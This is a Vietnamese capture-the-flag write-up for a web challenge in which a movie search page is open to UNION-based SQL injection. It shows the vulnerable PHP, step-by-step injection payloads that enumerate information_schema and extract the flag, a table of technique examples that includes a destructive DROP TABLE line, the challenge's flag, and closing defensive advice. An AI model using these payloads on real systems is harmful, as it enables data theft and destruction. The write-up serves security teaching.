oscar-list

Oscar list - Extract Flag từ Bảng Secret
Tổng Quan
Challenge này mô phỏng một ứng dụng web quản lý danh sách phim với tính năng tìm kiếm. Người dùng có thể nhập tên phim để tìm kiếm, tuy nhiên do xử lý đầu vào không đúng cách đã tạo ra lỗ hổng SQL Injection kinh điển. Thông qua kỹ thuật UNION-based, chúng ta có thể truy vấn dữ liệu từ các bảng khác trong cơ sở dữ liệu, bao gồm cả bảng secret chứa flag.
Thông Tin Challenge
- Danh mục: Web Security
- Độ khó: Trung bình
- Điểm: 200
- Lỗ hổng: SQL Injection (UNION-based)
- Kỹ năng: SQL, Web Exploitation, Database Enumeration
Phân Tích Lỗ Hổng
Source Code
Đây là đoạn code PHP có lỗ hổng:
<?php
if (isset($_GET['nameInput'])) {
$name = $_GET['nameInput']; // Input từ user không được xử lý
$query = "SELECT * FROM movies WHERE name LIKE '%$name%'"; // ⚠️ Ghép trực tiếp vào query!
$result = mysqli_query($conn, $query);
while ($row = mysqli_fetch_assoc($result)) {
echo $row['name'] . "<br>";
}
}
?>
Vấn Đề
- Input không được sanitize: Dữ liệu từ user được sử dụng trực tiếp trong query SQL
- String concatenation: Sử dụng phép nối chuỗi đơn giản để xây dựng query
- Không sử dụng prepared statements: Không tách biệt data và SQL code
- Không validate input: Không kiểm tra tính hợp lệ của dữ liệu đầu vào
Nguy Cơ
Kẻ tấn công có thể:
- Truy vấn dữ liệu từ các bảng khác trong database
- Bypass authentication mechanisms
- Extract sensitive information (passwords, flags, user data)
- Modify hoặc delete database records
- Execute administrative operations
Khai Thác
Cách Hoạt Động
SQL Injection UNION hoạt động bằng cách:
- Kết thúc query gốc bằng cách chèn ký tự đặc biệt
- Sử dụng UNION để kết hợp kết quả từ query gốc với query mới
- Trích xuất dữ liệu từ các bảng khác
Bước 1: Xác Định Số Cột
Trước tiên cần tìm số lượng cột của bảng gốc bằng cách sử dụng ORDER BY:
# Payload để tìm số cột
' ORDER BY 1-- # Không lỗi
' ORDER BY 2-- # Không lỗi
' ORDER BY 3-- # Không lỗi
' ORDER BY 4-- # Không lỗi
' ORDER BY 5-- # Không lỗi
' ORDER BY 6-- # Lỗi - chỉ có 5 cột
Bước 2: Xác Định Cột Hiển Thị
Tìm cột nào hiển thị kết quả trên giao diện:
# Payload để tìm cột hiển thị
' UNION SELECT 1,2,3,4,5-- # Thử tất cả các cột
' UNION SELECT NULL,2,NULL,4,NULL-- # Chỉ hiển thị cột 2 và 4
Giả sử cột 2 và 4 hiển thị kết quả trên giao diện.
Bước 3: Trích Xuất Thông Tin Database
Lấy tên database hiện tại:
# Payload để lấy tên database
' UNION SELECT 1,database(),3,4,5--
Bước 4: Liệt Kê Các Bảng
Trích xuất danh sách các bảng trong database:
# Payload để liệt kê bảng
' UNION SELECT 1,table_name,3,4,5 FROM information_schema.tables--
Bước 5: Tìm Bảng Secret
Sau khi liệt kê các bảng, tìm bảng secret:
# Payload để tìm bảng secret
' UNION SELECT 1,table_name,3,4,5 FROM information_schema.tables WHERE table_name='secret'--
Bước 6: Liệt Kê Cột Trong Bảng Secret
# Payload để liệt kê cột
' UNION SELECT 1,column_name,3,4,5 FROM information_schema.columns WHERE table_name='secret'--
Giả sử bảng secret có cột flag.
Bước 7: Extract Flag
Cuối cùng, extract flag từ bảng secret:
# Payload để lấy flag
' UNION SELECT NULL,flag,NULL,NULL,NULL FROM secret--
Bảng Giải Thích Các Kỹ Thuật SQL Injection
| Kỹ thuật | Mô tả | Ví dụ |
|---|---|---|
| Error-based | Sử dụng lỗi SQL để extract thông tin | ' AND 1=0 UNION SELECT version()-- |
| UNION-based | Kết hợp kết quả từ nhiều SELECT | ' UNION SELECT 1,2,3-- |
| Blind Boolean | Dựa trên TRUE/FALSE conditions | ' AND (SELECT SUBSTRING(flag,1,1))='B'-- |
| Time-based | Sử dụng SLEEP để suy đoán dữ liệu | ' AND IF(1=1, SLEEP(5), 0)-- |
| Stacked Queries | Thực thi nhiều câu lệnh cùng lúc | '; DROP TABLE users;-- |
Flag
BPCTF{d0nt_4dd_4ll_7h3_f1lm5_1ba772ba5d3884b96427b4fb0ec4e8c6}
Bài Học Rút Ra
Cho Developers
-
Luôn sử dụng prepared statements hoặc parameterized queries
- Đây là cách phòng chống SQL Injection hiệu quả nhất
- Tách biệt SQL code khỏi user data
-
Validate input từ mọi nguồn
- Client-side validation chỉ để UX, không phải bảo mật
- Server-side validation là bắt buộc
-
Principle of least privilege
- Database user chỉ có quyền cần thiết
- Không dùng root account cho web applications
-
Error handling đúng cách
- Không expose database errors cho user
- Log errors để debug mà không tiết lộ thông tin nhạy cảm
-
Sử dụng ORM hoặc query builders
- Các framework hiện đại có built-in protection
- Ví dụ: PDO trong PHP, SQLAlchemy trong Python